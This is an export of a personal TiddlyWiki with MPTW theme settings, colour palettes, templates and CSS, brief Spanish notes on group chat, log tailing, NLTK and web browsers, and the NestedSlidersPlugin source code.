config.options.chkSaveBackups = true; // do save backups
config.options.txtBackupFolder = 'twbackup'; // put backups in a backups folder
config.options.chkAutoSave = (window.location.protocol == "file:"); // do autosave if we're in local file
config.mptwVersion = "2.5.2";
config.macros.mptwVersion={handler:function(place){wikify(config.mptwVersion,place);}};
if (config.options.txtTheme == '')
config.options.txtTheme = 'MptwTheme';
// add to default GettingStarted
config.shadowTiddlers.GettingStarted += "\n\nSee also [[MPTW]].";
// add select theme and palette controls in default OptionsPanel
config.shadowTiddlers.OptionsPanel = config.shadowTiddlers.OptionsPanel.replace(/(\n\-\-\-\-\nAlso see AdvancedOptions)/, "{{select{<<selectTheme>>\n<<selectPalette>>}}}$1");
// these are used by ViewTemplate
config.mptwDateFormat = 'DD/MM/YY';
config.mptwJournalFormat = 'Journal DD/MM/YY';
//}}}
Name: MptwGreen
Background: #fff
Foreground: #000
PrimaryPale: #9b9
PrimaryLight: #385
PrimaryMid: #031
PrimaryDark: #020
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
Name: MptwRed
Background: #fff
Foreground: #000
PrimaryPale: #eaa
PrimaryLight: #c55
PrimaryMid: #711
PrimaryDark: #500
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
|Name|MptwRounded|
|Description|Mptw Theme with some rounded corners (Firefox only)|
|ViewTemplate|MptwTheme##ViewTemplate|
|EditTemplate|MptwTheme##EditTemplate|
|PageTemplate|MptwTheme##PageTemplate|
|StyleSheet|##StyleSheet|
!StyleSheet
/*{{{*/
[[MptwTheme##StyleSheet]]
.tiddler,
.sliderPanel,
.button,
.tiddlyLink,
.tabContents
{ -moz-border-radius: 1em; }
.tab {
-moz-border-radius-topleft: 0.5em;
-moz-border-radius-topright: 0.5em;
}
#topMenu {
-moz-border-radius-bottomleft: 2em;
-moz-border-radius-bottomright: 2em;
}
/*}}}*/
Name: MptwSmoke
Background: #fff
Foreground: #000
PrimaryPale: #aaa
PrimaryLight: #777
PrimaryMid: #111
PrimaryDark: #000
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
|Name|MptwStandard|
|Description|Mptw Theme with the default TiddlyWiki PageLayout and Styles|
|ViewTemplate|MptwTheme##ViewTemplate|
|EditTemplate|MptwTheme##EditTemplate|
Name: MptwTeal
Background: #fff
Foreground: #000
PrimaryPale: #B5D1DF
PrimaryLight: #618FA9
PrimaryMid: #1a3844
PrimaryDark: #000
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #f8f8f8
TertiaryLight: #bbb
TertiaryMid: #999
TertiaryDark: #888
Error: #f88
|Name|MptwTheme|
|Description|Mptw Theme including custom PageLayout|
|PageTemplate|##PageTemplate|
|ViewTemplate|##ViewTemplate|
|EditTemplate|##EditTemplate|
|StyleSheet|##StyleSheet|
http://mptw.tiddlyspot.com/#MptwTheme ($Rev: 1829 $)
!PageTemplate
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<!-- horizontal MainMenu -->
<div id='topMenu' refresh='content' tiddler='MainMenu'></div>
<!-- original MainMenu menu -->
<!-- <div id='mainMenu' refresh='content' tiddler='MainMenu'></div> -->
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
!ViewTemplate
<!--{{{-->
[[MptwTheme##ViewTemplateToolbar]]
<div class="tagglyTagged" macro="tags"></div>
<div class='titleContainer'>
<span class='title' macro='view title'></span>
<span macro="miniTag"></span>
</div>
<div class='subtitle'>
(updated <span macro='view modified date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>
by <span macro='view modifier link'></span>)
<!--
(<span macro='message views.wikified.createdPrompt'></span>
<span macro='view created date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>)
-->
</div>
<div macro="showWhen tiddler.tags.containsAny(['css','html','pre','systemConfig']) && !tiddler.text.match('{{'+'{')">
<div class='viewer'><pre macro='view text'></pre></div>
</div>
<div macro="else">
<div class='viewer' macro='view text wikified'></div>
</div>
<div class="tagglyTagging" macro="tagglyTagging"></div>
<!--}}}-->
!ViewTemplateToolbar
<!--{{{-->
<div class='toolbar'>
<span macro="showWhenTagged systemConfig">
<span macro="toggleTag systemConfigDisable . '[[disable|systemConfigDisable]]'"></span>
</span>
<span macro="showWhenTagged systemTheme"><span macro="applyTheme"></span></span>
<span macro="showWhenTagged systemPalette"><span macro="applyPalette"></span></span>
<span macro="showWhen tiddler.tags.contains('css') || tiddler.title == 'StyleSheet'"><span macro="refreshAll"></span></span>
<span style="padding:1em;"></span>
<span macro='toolbar closeTiddler closeOthers +editTiddler deleteTiddler > fields syncing permalink references jump'></span> <span macro='newHere label:"new here"'></span>
<span macro='newJournalHere {{config.mptwJournalFormat?config.mptwJournalFormat:"MM/0DD/YY"}}'></span>
</div>
<!--}}}-->
!EditTemplate
<!--{{{-->
<div class="toolbar" macro="toolbar +saveTiddler saveCloseTiddler closeOthers -cancelTiddler cancelCloseTiddler deleteTiddler"></div>
<div class="title" macro="view title"></div>
<div class="editLabel">Title</div><div class="editor" macro="edit title"></div>
<div macro='annotations'></div>
<div macro="hideWhenTagged _no_editable">
<div class="editLabel">Content</div><div class="editor" macro="edit text"></div>
</div>
<div macro="showWhenTagged _no_editable">
<p>
Mejor será que no veas el código de esto...
Si estás tan loco como para editarlo, quita la etiqueta "_no_editable" y vuelve a intentarlo.
</p>
</div>
<div class="editLabel">Tags</div><div class="editor" macro="edit tags"></div>
<div class="editorFooter"><span macro="message views.editor.tagPrompt"></span><span macro="tagChooser"></span></div>
<!--}}}-->
!StyleSheet
/*{{{*/
/* a contrasting background so I can see where one tiddler ends and the other begins */
body {
background: [[ColorPalette::TertiaryLight]];
}
/* sexy colours and font for the header */
.headerForeground {
color: [[ColorPalette::PrimaryPale]];
}
.headerShadow, .headerShadow a {
color: [[ColorPalette::PrimaryMid]];
}
/* separate the top menu parts */
.headerForeground, .headerShadow {
padding: 1em 1em 0;
}
.headerForeground, .headerShadow {
font-family: 'Trebuchet MS' sans-serif;
font-weight:bold;
}
.headerForeground .siteSubtitle {
color: [[ColorPalette::PrimaryLight]];
}
.headerShadow .siteSubtitle {
color: [[ColorPalette::PrimaryMid]];
}
/* make shadow go and down right instead of up and left */
.headerShadow {
left: 1px;
top: 1px;
}
/* prefer monospace for editing */
.editor textarea, .editor input {
font-family: 'Consolas' monospace;
background-color:[[ColorPalette::TertiaryPale]];
}
/* sexy tiddler titles */
.title {
font-size: 250%;
color: [[ColorPalette::PrimaryLight]];
font-family: 'Trebuchet MS' sans-serif;
}
/* more subtle tiddler subtitle */
.subtitle {
padding:0px;
margin:0px;
padding-left:1em;
font-size: 90%;
color: [[ColorPalette::TertiaryMid]];
}
.subtitle .tiddlyLink {
color: [[ColorPalette::TertiaryMid]];
}
/* a little bit of extra whitespace */
.viewer {
padding-bottom:3px;
}
/* don't want any background color for headings */
h1,h2,h3,h4,h5,h6 {
background-color: transparent;
color: [[ColorPalette::Foreground]];
}
/* give tiddlers 3d style border and explicit background */
.tiddler {
background: [[ColorPalette::Background]];
border-right: 2px [[ColorPalette::TertiaryMid]] solid;
border-bottom: 2px [[ColorPalette::TertiaryMid]] solid;
margin-bottom: 1em;
padding:1em 2em 2em 1.5em;
}
/* make options slider look nicer */
#sidebarOptions .sliderPanel {
border:solid 1px [[ColorPalette::PrimaryLight]];
}
/* the borders look wrong with the body background */
#sidebar .button {
border-style: none;
}
/* this means you can put line breaks in SidebarOptions for readability */
#sidebarOptions br {
display:none;
}
/* undo the above in OptionsPanel */
#sidebarOptions .sliderPanel br {
display:inline;
}
/* horizontal main menu stuff */
#displayArea {
margin: 1em 15.7em 0em 1em; /* use the freed up space */
}
#topMenu br {
display: none;
}
#topMenu {
background: [[ColorPalette::PrimaryMid]];
color:[[ColorPalette::PrimaryPale]];
}
#topMenu {
padding:2px;
}
#topMenu .button, #topMenu .tiddlyLink, #topMenu a {
margin-left: 0.5em;
margin-right: 0.5em;
padding-left: 3px;
padding-right: 3px;
color: [[ColorPalette::PrimaryPale]];
font-size: 115%;
}
#topMenu .button:hover, #topMenu .tiddlyLink:hover {
background: [[ColorPalette::PrimaryDark]];
}
/* make 2.2 act like 2.1 with the invisible buttons */
.toolbar {
visibility:hidden;
}
.selected .toolbar {
visibility:visible;
}
/* experimental. this is a little borked in IE7 with the button
* borders but worth it I think for the extra screen realestate */
.toolbar { float:right; }
/* fix for TaggerPlugin. from sb56637. improved by FND */
.popup li .tagger a {
display:inline;
}
/* makes theme selector look a little better */
#sidebarOptions .sliderPanel .select .button {
padding:0.5em;
display:block;
}
#sidebarOptions .sliderPanel .select br {
display:none;
}
/* make it print a little cleaner */
@media print {
#topMenu {
display: none ! important;
}
/* not sure if we need all the importants */
.tiddler {
border-style: none ! important;
margin:0px ! important;
padding:0px ! important;
padding-bottom:2em ! important;
}
.tagglyTagging .button, .tagglyTagging .hidebutton {
display: none ! important;
}
.headerShadow {
visibility: hidden ! important;
}
.tagglyTagged .quickopentag, .tagged .quickopentag {
border-style: none ! important;
}
.quickopentag a.button, .miniTag {
display: none ! important;
}
}
/* get user styles specified in StyleSheet */
[[StyleSheet]]
/*}}}*/
|Name|MptwTrim|
|Description|Mptw Theme with a reduced header to increase useful space|
|ViewTemplate|MptwTheme##ViewTemplate|
|EditTemplate|MptwTheme##EditTemplate|
|StyleSheet|MptwTheme##StyleSheet|
|PageTemplate|##PageTemplate|
!PageTemplate
<!--{{{-->
<!-- horizontal MainMenu -->
<div id='topMenu' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<span refresh='content' tiddler='SiteTitle' style="padding-left:1em;font-weight:bold;"></span>:
<span refresh='content' tiddler='MainMenu'></span>
</div>
<div id='sidebar'>
<div id='sidebarOptions'>
<div refresh='content' tiddler='SideBarOptions'></div>
<div style="margin-left:0.1em;"
macro='slider chkTabSliderPanel SideBarTabs {{"tabs \u00bb"}} "Show Timeline, All, Tags, etc"'></div>
</div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
For upgrading. See [[ImportTiddlers]].
URL: http://mptw.tiddlyspot.com/upgrade.html
/***
|Description:|A place to put your config tweaks so they aren't overwritten when you upgrade MPTW|
See http://www.tiddlywiki.org/wiki/Configuration_Options for other options you can set. In some cases where there are clashes with other plugins it might help to rename this to zzMptwUserConfigPlugin so it gets executed last.
***/
//{{{
// example: set your preferred date format
//config.mptwDateFormat = 'MM/0DD/YY';
//config.mptwJournalFormat = 'Journal MM/0DD/YY';
// example: set the theme you want to start with
//config.options.txtTheme = 'MptwRoundTheme';
// example: switch off autosave, switch on backups and set a backup folder
//config.options.chkSaveBackups = true;
//config.options.chkAutoSave = false;
//config.options.txtBackupFolder = 'backups';
// uncomment to disable 'new means new' functionality for the new journal macro
//config.newMeansNewForJournalsToo = false;
//}}}
Pasos para iniciar una charla en grupo con PSI o cualquier cliente compatible:
* El nombre de la sala tendrá la forma {{{private-chat-00000000-0000-0000-0000-000000000000}}} donde la cadena de ceros es un UUID (en python se puede generar con {{{uuid.uuid4()}}} o GeneradorUUID).
* El servidor de salas de chat es {{{groupchat.google.com}}}
* Como nombre de usuario se puede usar cualquiera
* Se puede establecer una contraseña
!Introducción
Vigilar varios log a la vez generalmente requiere utilizar varias consolas, cada una con un comando {{{tail -f nombre_archivo.log}}} diferente, obligándonos a alternar entre una u otra, o hacer que ocupen preciado espacio en la pantalla. Sería mucho más conveniente poder mostrar ambos archivos de log por la misma consola, "fusionando" la salida de todos los ficheros de log indicados.
Si se dispone de la última versión de {{{tail}}} instalada, la manera más sencilla es especificar varios ficheros de log a la vez, de la siguiente manera:
{{{
# tail -f archivo1.log -f archivo2.log
}}}
Aún más recomendable se utilizar el programa [[multitail|http://www.vanheusden.com/multitail/features.html]], que permite hacer auténticas virguerías.
Y si todo lo demás falla, y no puedes instalar o actualizar programas, he aquí un útil script:
!El script {{{multi-tail.sh}}}
El siguiente script admite como parámetros distintos archivos de log, y lanza un {{{tail -f}}} en background por cada uno de ellos. Al pulsar {{{<ctrl+C>}}} mata todos los procesos lanzados y sale de la aplicación.
Código del script:
{{{
$ vi multi-tail.sh
#!/bin/sh
# Cuando termina, mata a todos los procesos en segundo plano
trap 'kill $(jobs -p)' EXIT
# itera los nombres de archivo proporcionados
for file in "$@"
do
# lanza tails de cada fichero en segundo plano
tail -f $file &
done
# espera hasta que se presione CTRL+C
wait
}}}
Ejemplo de uso:
{{{
# multi-tail.sh archi1.log archivo2.log archivoN.log
}}}
!Enlaces
* Información extraida de: http://www.thegeekstuff.com/2009/09/multitail-to-view-tail-f-output-of-multiple-log-files-in-one-terminal/
* Monitorización de logs: http://www.debian-administration.org/articles/278
!Descripción
Apuntes sobre músicos y personajes del mundo de la música.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Introducción
NLTK son las siglas de Natural Language Tool Kit, que consiste en un conjunto de herramientas para [[Python]] cuyo objetivo es simplificar el procesado de lenguajes naturales. Lenguajes naturales son los lenguajes que entienden normalmente las personas, como el inglés o el español. En resumen, NLTK es una librería para Python que permite a los programas que la utilicen comprender frases sencillas en un idioma como el español.
! Más información:
* Documentación diversa: http://www.nltk.org/documentation
* Artículo de IBM: http://www.ibm.com/developerworks/linux/library/l-cpnltk.html?S_TACT=105AGX03&S_CMP=EDU
* Libro: http://www.nltk.org/book
!Descripción
Apuntes sobre navegadores web
!Apuntes rápidos
*
!Enlaces interesantes
* Principales navegadores web:
** Firefox (gecko): http://es-es.www.mozilla.com/es-ES/
** Internet Explorer (trident): http://www.microsoft.com/spain/windows/products/winfamily/ie/default.mspx
** Opera (opera): http://www.opera.com/
** Chrome (webkit): http://www.google.com/chrome
** Arora (webkit): http://code.google.com/p/arora/
** K-meleon (gecko): http://kmeleon.sourceforge.net/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name|NestedSlidersPlugin|
|Source|http://www.TiddlyTools.com/#NestedSlidersPlugin|
|Documentation|http://www.TiddlyTools.com/#NestedSlidersPluginInfo|
|Version|2.4.9|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Options|##Configuration|
|Description|show content in nest-able sliding/floating panels, without creating separate tiddlers for each panel's content|
!!!!!Documentation
>see [[NestedSlidersPluginInfo]]
!!!!!Configuration
<<<
<<option chkFloatingSlidersAnimate>> allow floating sliders to animate when opening/closing
>Note: This setting can cause 'clipping' problems in some versions of InternetExplorer.
>In addition, for floating slider animation to occur you must also allow animation in general (see [[AdvancedOptions]]).
<<<
!!!!!Revisions
<<<
2008.11.15 - 2.4.9 in adjustNestedSlider(), don't make adjustments if panel is marked as 'undocked' (CSS class). In onClickNestedSlider(), SHIFT-CLICK docks panel (see [[MoveablePanelPlugin]])
|please see [[NestedSlidersPluginInfo]] for additional revision details|
2005.11.03 - 1.0.0 initial public release. Thanks to RodneyGomes, GeoffSlocock, and PaulPetterson for suggestions and experiments.
<<<
!!!!!Code
***/
//{{{
version.extensions.NestedSlidersPlugin= {major: 2, minor: 4, revision: 9, date: new Date(2008,11,15)};
// options for deferred rendering of sliders that are not initially displayed
if (config.options.chkFloatingSlidersAnimate===undefined)
config.options.chkFloatingSlidersAnimate=false; // avoid clipping problems in IE
// default styles for 'floating' class
setStylesheet(".floatingPanel { position:absolute; z-index:10; padding:0.5em; margin:0em; \
background-color:#eee; color:#000; border:1px solid #000; text-align:left; }","floatingPanelStylesheet");
// if removeCookie() function is not defined by TW core, define it here.
if (window.removeCookie===undefined) {
window.removeCookie=function(name) {
document.cookie = name+'=; expires=Thu, 01-Jan-1970 00:00:01 UTC; path=/;';
}
}
config.formatters.push( {
name: "nestedSliders",
match: "\\n?\\+{3}",
terminator: "\\s*\\={3}\\n?",
lookahead: "\\n?\\+{3}(\\+)?(\\([^\\)]*\\))?(\\!*)?(\\^(?:[^\\^\\*\\@\\[\\>]*\\^)?)?(\\*)?(\\@)?(?:\\{\\{([\\w]+[\\s\\w]*)\\{)?(\\[[^\\]]*\\])?(\\[[^\\]]*\\])?(?:\\}{3})?(\\#[^:]*\\:)?(\\>)?(\\.\\.\\.)?\\s*",
handler: function(w)
{
lookaheadRegExp = new RegExp(this.lookahead,"mg");
lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = lookaheadRegExp.exec(w.source)
if(lookaheadMatch && lookaheadMatch.index == w.matchStart)
{
var defopen=lookaheadMatch[1];
var cookiename=lookaheadMatch[2];
var header=lookaheadMatch[3];
var panelwidth=lookaheadMatch[4];
var transient=lookaheadMatch[5];
var hover=lookaheadMatch[6];
var buttonClass=lookaheadMatch[7];
var label=lookaheadMatch[8];
var openlabel=lookaheadMatch[9];
var panelID=lookaheadMatch[10];
var blockquote=lookaheadMatch[11];
var deferred=lookaheadMatch[12];
// location for rendering button and panel
var place=w.output;
// default to closed, no cookie, no accesskey, no alternate text/tip
var show="none"; var cookie=""; var key="";
var closedtext=">"; var closedtip="";
var openedtext="<"; var openedtip="";
// extra "+", default to open
if (defopen) show="block";
// cookie, use saved open/closed state
if (cookiename) {
cookie=cookiename.trim().slice(1,-1);
cookie="chkSlider"+cookie;
if (config.options[cookie]==undefined)
{ config.options[cookie] = (show=="block") }
show=config.options[cookie]?"block":"none";
}
// parse label/tooltip/accesskey: [label=X|tooltip]
if (label) {
var parts=label.trim().slice(1,-1).split("|");
closedtext=parts.shift();
if (closedtext.substr(closedtext.length-2,1)=="=")
{ key=closedtext.substr(closedtext.length-1,1); closedtext=closedtext.slice(0,-2); }
openedtext=closedtext;
if (parts.length) closedtip=openedtip=parts.join("|");
else { closedtip="show "+closedtext; openedtip="hide "+closedtext; }
}
// parse alternate label/tooltip: [label|tooltip]
if (openlabel) {
var parts=openlabel.trim().slice(1,-1).split("|");
openedtext=parts.shift();
if (parts.length) openedtip=parts.join("|");
else openedtip="hide "+openedtext;
}
var title=show=='block'?openedtext:closedtext;
var tooltip=show=='block'?openedtip:closedtip;
// create the button
if (header) { // use "Hn" header format instead of button/link
var lvl=(header.length>5)?5:header.length;
var btn = createTiddlyElement(createTiddlyElement(place,"h"+lvl,null,null,null),"a",null,buttonClass,title);
btn.onclick=onClickNestedSlider;
btn.setAttribute("href","javascript:;");
btn.setAttribute("title",tooltip);
}
else
var btn = createTiddlyButton(place,title,tooltip,onClickNestedSlider,buttonClass);
btn.innerHTML=title; // enables use of HTML entities in label
// set extra button attributes
btn.setAttribute("closedtext",closedtext);
btn.setAttribute("closedtip",closedtip);
btn.setAttribute("openedtext",openedtext);
btn.setAttribute("openedtip",openedtip);
btn.sliderCookie = cookie; // save the cookiename (if any) in the button object
btn.defOpen=defopen!=null; // save default open/closed state (boolean)
btn.keyparam=key; // save the access key letter ("" if none)
if (key.length) {
btn.setAttribute("accessKey",key); // init access key
btn.onfocus=function(){this.setAttribute("accessKey",this.keyparam);}; // **reclaim** access key on focus
}
btn.setAttribute("hover",hover?"true":"false");
btn.onmouseover=function(ev) {
// optional 'open on hover' handling
if (this.getAttribute("hover")=="true" && this.sliderPanel.style.display=='none') {
document.onclick.call(document,ev); // close transients
onClickNestedSlider(ev); // open this slider
}
// mouseover on button aligns floater position with button
if (window.adjustSliderPos) window.adjustSliderPos(this.parentNode,this,this.sliderPanel);
}
// create slider panel
var panelClass=panelwidth?"floatingPanel":"sliderPanel";
if (panelID) panelID=panelID.slice(1,-1); // trim off delimiters
var panel=createTiddlyElement(place,"div",panelID,panelClass,null);
panel.button = btn; // so the slider panel know which button it belongs to
btn.sliderPanel=panel; // so the button knows which slider panel it belongs to
panel.defaultPanelWidth=(panelwidth && panelwidth.length>2)?panelwidth.slice(1,-1):"";
panel.setAttribute("transient",transient=="*"?"true":"false");
panel.style.display = show;
panel.style.width=panel.defaultPanelWidth;
panel.onmouseover=function(event) // mouseover on panel aligns floater position with button
{ if (window.adjustSliderPos) window.adjustSliderPos(this.parentNode,this.button,this); }
// render slider (or defer until shown)
w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
if ((show=="block")||!deferred) {
// render now if panel is supposed to be shown or NOT deferred rendering
w.subWikify(blockquote?createTiddlyElement(panel,"blockquote"):panel,this.terminator);
// align floater position with button
if (window.adjustSliderPos) window.adjustSliderPos(place,btn,panel);
}
else {
var src = w.source.substr(w.nextMatch);
var endpos=findMatchingDelimiter(src,"+++","===");
panel.setAttribute("raw",src.substr(0,endpos));
panel.setAttribute("blockquote",blockquote?"true":"false");
panel.setAttribute("rendered","false");
w.nextMatch += endpos+3;
if (w.source.substr(w.nextMatch,1)=="\n") w.nextMatch++;
}
}
}
}
)
function findMatchingDelimiter(src,starttext,endtext) {
var startpos = 0;
var endpos = src.indexOf(endtext);
// check for nested delimiters
while (src.substring(startpos,endpos-1).indexOf(starttext)!=-1) {
// count number of nested 'starts'
var startcount=0;
var temp = src.substring(startpos,endpos-1);
var pos=temp.indexOf(starttext);
while (pos!=-1) { startcount++; pos=temp.indexOf(starttext,pos+starttext.length); }
// set up to check for additional 'starts' after adjusting endpos
startpos=endpos+endtext.length;
// find endpos for corresponding number of matching 'ends'
while (startcount && endpos!=-1) {
endpos = src.indexOf(endtext,endpos+endtext.length);
startcount--;
}
}
return (endpos==-1)?src.length:endpos;
}
//}}}
//{{{
window.onClickNestedSlider=function(e)
{
if (!e) var e = window.event;
var theTarget = resolveTarget(e);
while (theTarget && theTarget.sliderPanel==undefined) theTarget=theTarget.parentNode;
if (!theTarget) return false;
var theSlider = theTarget.sliderPanel;
var isOpen = theSlider.style.display!="none";
// if SHIFT-CLICK, dock panel first (see [[MoveablePanelPlugin]])
if (e.shiftKey && config.macros.moveablePanel) config.macros.moveablePanel.dock(theSlider,e);
// toggle label
theTarget.innerHTML=isOpen?theTarget.getAttribute("closedText"):theTarget.getAttribute("openedText");
// toggle tooltip
theTarget.setAttribute("title",isOpen?theTarget.getAttribute("closedTip"):theTarget.getAttribute("openedTip"));
// deferred rendering (if needed)
if (theSlider.getAttribute("rendered")=="false") {
var place=theSlider;
if (theSlider.getAttribute("blockquote")=="true")
place=createTiddlyElement(place,"blockquote");
wikify(theSlider.getAttribute("raw"),place);
theSlider.setAttribute("rendered","true");
}
// show/hide the slider
if(config.options.chkAnimate && (!hasClass(theSlider,'floatingPanel') || config.options.chkFloatingSlidersAnimate))
anim.startAnimating(new Slider(theSlider,!isOpen,e.shiftKey || e.altKey,"none"));
else
theSlider.style.display = isOpen ? "none" : "block";
// reset to default width (might have been changed via plugin code)
theSlider.style.width=theSlider.defaultPanelWidth;
// align floater panel position with target button
if (!isOpen && window.adjustSliderPos) window.adjustSliderPos(theSlider.parentNode,theTarget,theSlider);
// if showing panel, set focus to first 'focus-able' element in panel
if (theSlider.style.display!="none") {
var ctrls=theSlider.getElementsByTagName("*");
for (var c=0; c<ctrls.length; c++) {
var t=ctrls[c].tagName.toLowerCase();
if ((t=="input" && ctrls[c].type!="hidden") || t=="textarea" || t=="select")
{ try{ ctrls[c].focus(); } catch(err){;} break; }
}
}
var cookie=theTarget.sliderCookie;
if (cookie && cookie.length) {
config.options[cookie]=!isOpen;
if (config.options[cookie]!=theTarget.defOpen) window.saveOptionCookie(cookie);
else window.removeCookie(cookie); // remove cookie if slider is in default display state
}
// prevent SHIFT-CLICK from being processed by browser (opens blank window... yuck!)
// prevent clicks *within* a slider button from being processed by browser
// but allow plain click to bubble up to page background (to close transients, if any)
if (e.shiftKey || theTarget!=resolveTarget(e))
{ e.cancelBubble=true; if (e.stopPropagation) e.stopPropagation(); }
Popup.remove(); // close open popup (if any)
return false;
}
//}}}
//{{{
// click in document background closes transient panels
document.nestedSliders_savedOnClick=document.onclick;
document.onclick=function(ev) { if (!ev) var ev=window.event; var target=resolveTarget(ev);
if (document.nestedSliders_savedOnClick)
var retval=document.nestedSliders_savedOnClick.apply(this,arguments);
// if click was inside a popup... leave transient panels alone
var p=target; while (p) if (hasClass(p,"popup")) break; else p=p.parentNode;
if (p) return retval;
// if click was inside transient panel (or something contained by a transient panel), leave it alone
var p=target; while (p) {
if ((hasClass(p,"floatingPanel")||hasClass(p,"sliderPanel"))&&p.getAttribute("transient")=="true") break;
p=p.parentNode;
}
if (p) return retval;
// otherwise, find and close all transient panels...
var all=document.all?document.all:document.getElementsByTagName("DIV");
for (var i=0; i<all.length; i++) {
// if it is not a transient panel, or the click was on the button that opened this panel, don't close it.
if (all[i].getAttribute("transient")!="true" || all[i].button==target) continue;
// otherwise, if the panel is currently visible, close it by clicking it's button
if (all[i].style.display!="none") window.onClickNestedSlider({target:all[i].button})
if (!hasClass(all[i],"floatingPanel")&&!hasClass(all[i],"sliderPanel")) all[i].style.display="none";
}
return retval;
};
//}}}
//{{{
// adjust floating panel position based on button position
if (window.adjustSliderPos==undefined) window.adjustSliderPos=function(place,btn,panel) {
if (hasClass(panel,"floatingPanel") && !hasClass(panel,"undocked")) {
// see [[MoveablePanelPlugin]] for use of 'undocked'
var rightEdge=document.body.offsetWidth-1;
var panelWidth=panel.offsetWidth;
var left=0;
var top=btn.offsetHeight;
if (place.style.position=="relative" && findPosX(btn)+panelWidth>rightEdge) {
left-=findPosX(btn)+panelWidth-rightEdge; // shift panel relative to button
if (findPosX(btn)+left<0) left=-findPosX(btn); // stay within left edge
}
if (place.style.position!="relative") {
var left=findPosX(btn);
var top=findPosY(btn)+btn.offsetHeight;
var p=place; while (p && !hasClass(p,'floatingPanel')) p=p.parentNode;
if (p) { left-=findPosX(p); top-=findPosY(p); }
if (left+panelWidth>rightEdge) left=rightEdge-panelWidth;
if (left<0) left=0;
}
panel.style.left=left+"px"; panel.style.top=top+"px";
}
}
//}}}
//{{{
// TW2.1 and earlier:
// hijack Slider stop handler so overflow is visible after animation has completed
Slider.prototype.coreStop = Slider.prototype.stop;
Slider.prototype.stop = function()
{ this.coreStop.apply(this,arguments); this.element.style.overflow = "visible"; }
// TW2.2+
// hijack Morpher stop handler so sliderPanel/floatingPanel overflow is visible after animation has completed
if (version.major+.1*version.minor+.01*version.revision>=2.2) {
Morpher.prototype.coreStop = Morpher.prototype.stop;
Morpher.prototype.stop = function() {
this.coreStop.apply(this,arguments);
var e=this.element;
if (hasClass(e,"sliderPanel")||hasClass(e,"floatingPanel")) {
// adjust panel overflow and position after animation
e.style.overflow = "visible";
if (window.adjustSliderPos) window.adjustSliderPos(e.parentNode,e.button,e);
}
};
}
//}}}
/***
|Name|NestedSlidersPluginInfo|
|Source|http://www.TiddlyTools.com/#NestedSlidersPlugin|
|Documentation|http://www.TiddlyTools.com/#NestedSlidersPluginInfo|
|Version|2.4.9|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|documentation|
|Requires||
|Overrides||
|Description|documentation for NestedSlidersPlugin|
This plugin adds new wiki syntax for embedding 'slider' panels directly into tiddler content.
!!!!!Usage
<<<
Use {{{+++}}} and {{{===}}} to delimit the slider content. You can also 'nest' these sliders as deep as you like (see complex nesting example below), so that expandable 'tree-like' hierarchical displays can be created. This is most useful when converting existing in-line text content to create in-line annotations, footnotes, context-sensitive help, or other subordinate information displays.
Additional optional syntax elements let you specify
*default to open
